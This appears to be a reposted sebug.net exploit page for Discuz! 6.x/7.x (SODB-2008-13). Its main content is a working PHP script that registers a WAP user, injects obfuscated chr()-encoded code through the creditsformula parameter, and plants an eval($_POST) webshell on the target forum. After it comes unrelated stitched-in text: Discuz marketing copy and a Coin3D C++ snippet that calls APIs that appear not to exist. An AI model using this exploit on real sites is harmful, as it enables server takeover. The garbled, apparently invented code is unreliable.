Discuz! 6.x/7.x SODB-2008-13 Exp

from sebug.net

测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
#!/usr/bin/php
<?php
/**
* Discuz! 6.x/7.x SODB-2008-13 Exp
* By www.80vul.com
* 文件中注释的变量值请自行修改
*/
$host = 'www.80vul.com';
// 服务器域名或IP
$path = '/discuz/';
// 程序所在的路径
$key = 0;
// 上面的变量编辑好后,请将此处的值改为1

if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1)
exit("专业点好不,先看看里面的注释 -,-/n");

error_reporting(7);
ini_set('max_execution_time', 0);

$key = time();
$cmd = 'action=register&username='.$key.'&password='.$key.'&email='.$key.'@80vul.com&_DCACHE=1';
$resp = send();

preg_match('/logout=yes&amp;formhash=[a-z0-9]{8}&amp;sid=([a-zA-Z0-9]{6})/', $resp, $sid);

if (!$sid)
exit("哦,大概是没有开启WAP注册吧 -,-/n");

$cmd = 'stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid='.$sid[1].'&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}';
send();

$shell = 'http://'.$host.$path.'forumdata/cache/eval.php';

if (file_get_contents($shell) == '80vul')
exit("好了,去看看你的WebShell吧:/t$shell/n里面的代码是:/t<?eval(/$_POST[c])?>/n别告诉我你不会用 -,-/n");
else
exit("嗯,大概是该网站不存在漏洞,换一个吧 -,-/n");

function send()
{
global $host, $path, $url, $cmd;

$data = "POST ".$path."wap/index.php HTTP/1.1/r/n";
$data .= "Accept: */*/r/n";
$data .= "Accept-Language: zh-cn/r/n";
$data .= "Referer: http://$host$path/r/n";
$data .= "Content-Type: application/x-www-form-urlencoded/r/n";
$data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1/r/n";
$data .= "Host: $host/r/n";
$data .= "Connection: Close/r/n";
$data .= "Content-Length: ".strlen($cmd)."/r/n/r/n";
$data .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>
// Sebug.net [ 2008-11-14
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越的访问速度和负载能力 Discuz! 从创立之初即以提高产品效率为突破口,随着编译模板,语法生成内核,数据缓存和自动更新机制等独创或独有技术的应用,和坚固的数据结构及最少化数据库查询设计,使得 Discuz! 可以在极为繁忙的服务器环境下快速稳定运行,切实节约企业成本,提升企业形象。 强大而完善的功能 除了一般论坛所具有的功能外, Discuz! 还提供了很大限度的个性化设定。众多功能在后台预留开关,可按企业需要启用。前台全部采用编译模板技术构建,更换界面易如反掌。完善的权限设定,使管理员可控制到每个用户,每个组及所在每个分论坛的各种权限。 国际化和标准化的产品架构 目前发布的版本分为简体中文,繁体中文和英文三个版本。自 Discuz! 2.0 以来,因其高效国际化内核的应用,使其成功走出国门,步入海外市场,商业客户遍及中国大陆,香港,台湾,北美,欧洲,澳洲,马来西亚等国家和地区。 周密的安全部署和攻击防护 Discuz! 能有效处理页面格式,保证页面及表格的完整性。安全检查应用于每一个 Discuz! 代码中,可自动屏蔽贴子及签名等中的恶意代码和跨站脚本攻击。独有的全程操作记录,使论坛运行情况随时有据可查。 持久的创新和广阔的前景 Discuz! 拥有一支富于创新的开发队伍,持续性的技术优势和不断增长的市场经验,除了强化已有的市场竞争力以外,更增强了已有和潜在客户的信心,我们并不满足于现有成果,我们时刻关注国内外相关领域内的最新进展和动态,不断的进步和创新,已使越来越多的人相信 Discuz! 辉煌的明天。 操作系统要求 Discuz! 具备跨平台特性,可以运行于 Linux/FreeBSD/Unix 及微软 Windows 2000/2003 等各种操作系统环境下。我们已在软件中针对上述操作系统做了大量的测试和实地检验,保证 Discuz! 可以在上述系统中安全稳定的运行,但您仍然需要做好服务器操作系统级的安全防备措施,例如Windows用户需更改 MySQL for Windows 的初始 root 密码,避免跨目录的文件读写。类 Unix 用户需避免使用过于简单的密码,避免跨用户目录的文件读写,做好服务器上其他相关软件(如 Sendmail、ftpd、httpd)等的安全防范,使用较新的软件版本等。 如果您租用虚拟主机,一般正规和技术力量较强的虚拟主机提供商会已经做好操作系统的各项准备,用户可不必关注此部分。 推荐使用 Linux/FreeBSD 操作系统,不仅完全免费,而且可以获得更好的稳定性和负载能力。如果使用Windows 系统,请将 PHP 以 ISAPI(非 CGI)方式安装。 语言及数据库支撑环境要求 Discuz! 需要服务器上装有如下软件: 可用的httpd服务器(如 Apache、Zeus、IIS 等) PHP 4.1.0 及以上 Zend Optimizer 2.5.7 及以上 MySQL 3.23 及以上(仅针对 MySQL 版 Discuz! ) 以上软件除了 httpd 软件有可能需要购买以外,其余均为跨平台的免费软件,推荐使用以上软件的最新稳定版本,不仅拥有更多的功能,而且通常已修复了已知老版本的安全漏洞。 如果您租用虚拟主机,请咨询虚拟主机提供商,您的空间服务器是否已安装了上述软件。由于 Discuz! 的数据表具有前缀设计,因此通常情况下可以将 Discuz! 与其他软件安装在同一个数据库中,或采用不同的前缀名从而在同一个数据库中安装多个 Discuz! 论坛而不产生冲突。 您的 MySQL 数据库账号应当拥有 CREATE、DROP、ALTER等执行权限,同时文件空间需不低于 2M,数据库空间不低于 5M,通常您的虚拟空间都会满足这个条件,以满足包括 Discuz! 在内的绝大多数网络软件的正常运行。如果您不了解具体情况,请咨询您的空间提供商。 Discuz! 7.0.0 更新日志 【全新】社区 UI 设计,开创性操作引导和页面布局,大幅度提升会员使用体验 【全新】风格模板体系,打造个性化论坛风格更容易,论坛展现效果更突出 【全新】论坛风格可视化编辑器,支持在线设计风格,可实时预览设计效果 【全新】论坛风格管理系统,风格安装、卸载一键完成,支持风格效果图 【内置】16 款精心设计的炫酷风格和 7 套模板,供各种类型的站点选用,个性十足 【全新】论坛任务系统,进一步增强社区会员的互动行为,可利用任务增强社区的粘性、增加活跃度 【内置】会员类、帖子类、红包类、推广类、头像类 5 种论坛任务,轻松设计各种论坛任务 【支持】任务衍生,每类任务可根据申请条件、完成条件、奖励内容衍生出无数种任务 【支持】自定义任务脚本,内置自定义任务的安装、升
在Coin3D中,双面渲染在渲染场景的时候进行调用。如果你想要启用双面渲染,需要设置材质的backfaceculling属性为false。下面是一个简单的c++示例代码,演示如何在Coin3D中启用双面渲染: ```c++ #include <Inventor/SoDB.h> #include <Inventor/SoInput.h> #include <Inventor/SoSceneManager.h> #include <Inventor/nodes/SoCone.h> #include <Inventor/nodes/SoMaterial.h> #include <Inventor/nodes/SoSeparator.h> int main(int argc, char **argv) { // 初始化Coin3D SoDB::init(); // 创建场景管理器 SoSceneManager *sceneManager = new SoSceneManager(); // 创建材质节点 SoMaterial *material = new SoMaterial(); material->backfaceCulling = false; // 启用双面渲染 // 创建圆锥体节点 SoCone *cone = new SoCone(); cone->bottomRadius = 1.0; cone->height = 2.0; // 创建分离器节点 SoSeparator *root = new SoSeparator(); root->addChild(material); root->addChild(cone); // 将根节点添加到场景管理器中 sceneManager->setSceneGraph(root); // 显示场景 sceneManager->show(); // 进入Coin3D事件循环 SoDB::show(); SoDB::eventLoop(); // 清理内存 delete sceneManager; return 0; } ``` 在上面的代码中,我们创建了一个圆锥体节点和一个材质节点,并将材质节点的backfaceculling属性设置为false,从而启用了双面渲染。然后,我们将这些节点添加到分离器节点中,并将分离器节点作为场景的根节点。最后,我们创建了一个场景管理器,并将根节点添加到场景管理器中,然后显示场景并进入Coin3D的事件循环。
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